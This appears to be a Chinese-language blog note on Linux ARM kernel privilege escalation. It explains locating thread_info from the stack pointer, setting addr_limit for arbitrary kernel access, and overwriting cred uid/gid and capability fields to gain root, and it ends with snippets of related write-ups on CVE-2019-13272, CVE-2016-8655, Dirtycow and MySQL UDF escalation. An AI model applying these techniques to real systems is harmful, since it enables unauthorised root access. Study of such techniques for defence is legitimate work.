内核提权姿势笔记

方法一:

通过寻找进程的thread_info结构,搜索匹配进程的cred结构,并修改其值获得root权限。thread_info(arch arm)结构如下:

/* Linux/arch/arm/include/asm/thread_info.h*/
   20 #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER) // THREAF_SIZE=8192


 49 struct thread_info {
 50         unsigned long           flags;          /* low level flags */
 51         int                     preempt_count;  /* 0 => preemptable, <0 => bug */
 52         mm_segment_t            addr_limit;     /* address limit */
 53         struct task_struct      *task;          /* main task structure */
 54         __u32                   cpu;            /* cpu */
 55         __u32                   cpu_domain;     /* cpu domain */
 56         struct cpu_context_save cpu_context;    /* cpu context */
 57         __u32                   syscall;        /* syscall number */
 58         __u8                    used_cp[16];    /* thread used copro */
 59         unsigned long           tp_value[2];    /* TLS registers */
 60 #ifdef CONFIG_CRUNCH
 61         struct crunch_state     crunchstate;
 62 #endif
 63         union fp_state          fpstate __attribute__((aligned(8)));
 64         union vfp_state         vfpstate;
 65 #ifdef CONFIG_ARM_THUMBEE
 66         unsigned long           thumbee_state;  /* ThumbEE Handler Base register */
 67 #endif
 68 };
 69 
 

thread_info保存在栈的最低端,addr_limit表示进程可访问的地址空间,修改为0xffffffff可访问任意内核地址,task_struct保存进程权限值,修改权限值来达到提权的目的;

因为THREAD_SIZE为8192,因此thread_info=栈地址&0xffffe000(~(THREAD_SIZE - 1) = 0xfffe000),以下函数用于获取thread_info地址,其原理就是把esp的最后n(THREAD_SIZE栈大小的位数)位清空,那么就是基地址了,也就是thread_info的值:

static inline struct thread_info *current_thread_info(void) {
    return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));
}

那么根据& addr_limit = * thread_info + 8修改其值为0xffffffff;

内核3.x 在task_struct找不到security成员了,原来是将安全相关的信息剥离到一个叫做 cred 的结构体中,由cred负责保存进程安全上下文。根据task_struct=*(int*)(((int)&v)&0xffffe000)+0xc),找到task_struct结构体//v为内核定义的变量

然后通过thread_info.task_struct -> cred -> secutiry,修改以下值获取root权限:

credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;

附:task_struct:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/sched.h#L1117

cred:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/cred.h#L115

时间: 2024-10-08 05:16:07

内核提权姿势笔记的相关文章

CVE-2019-13272:Linux本地内核提权漏洞复现

0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数.但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用. PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作.如果恶意低权限子进程使

Linux内核提权漏洞(CVE-2016-8655)

操作机:Ubuntu 15.10(内核版本4.2.0) chocobo_root:是本次试验的POC文件,通过执行它来验证漏洞 漏洞简介 此漏洞可用于从未授权进程中执行内核代码,攻击者只需要本地普通权限,就能利用该漏洞导致拒绝服务(系统奔溃)或提升到管理员权限. 这个漏洞最早出现于2011年4月19日的代码中:[代码地址][[https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a] 直到2

windows内核提权

Windows by default are vulnerable to several vulnerabilities that could allow an attacker to execute malicious code in order to abuse a system. From the other side patching systems sufficiently is one of the main problems in security. Even if an orga

CVE-2016-5195 Dirtycow: Linux内核提权漏洞

以下都是github上找的源码,然后在ubuntu-12.04.5-desktop-i386上实验成功 首先运行下面的确定漏洞: /* ####################### dirtyc0w.c ####################### $ sudo -s # echo this is not a test > foo # chmod 0404 foo $ ls -lah foo -r-----r-- 1 root root 19 Oct 20 15:23 foo $ cat f

CVE-2019-13272 Linux 内核提权 +cve-2018-18955

漏洞影响版本(未测试完全) Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 根据GitHub的代码中所述,作者测试了以下的系统,发现均可成功. Ubuntu 16.04.5 kernel 4.15.0-29-generic Ubuntu 18.04.1 kernel 4.15.0-20-generic Ubuntu 19.04 kernel 5.0.0-15-generic Ubuntu Mate 18.04.2 ke

MYSQL提权的几种方式

MYSQL在windows和linux平台下存在几种不同的提权姿势,以下会做相关阐述,更多的是学习前辈的经验 Windows UDF提权 在windows下存在一个叫做动态链接库的东西,俗称DLL.该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中:在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数 在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或

[提权]CVE-2018-8120漏洞复现

0x01 漏洞名称 Windows操作系统Win32k的内核提权漏洞 0x02 漏洞编号 CVE-2018-8120 0x03 漏洞描述 部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码 0x04 影响版本 以下软件版本受到影响.未列出的版本要么超过其支持生命周期,要么不受影响.要确定软件版本或版本的支持生命周期,请查阅Microsoft支持生命周期. W

【安全牛学习笔记】利用配置不当提权

┃利用漏洞提权 ┃Ubuntu11.10 ┃http://old-releases.ubuntu.com/releases/11.10/ ┃gcc ┃sudo apt-cdrom add && sudo apt-get install gcc ┃gcc 18411.c -o exp ┃CVE-2012-0056 ┃/proc/pid/mem ┃kernels >=2.6.39 ┃http://blog.zx2c4.com/749 [email protected]:~# search

mysql提权笔记

最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用 先说手工吧! mysql<5.0,导出路径随意:5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误:mysql>5.1,需要使用 show variables like '%plugin%';语句查看插件安装路径,导出的时候指定DLL路径为插件路径. 现在几乎都是五点几吧!低版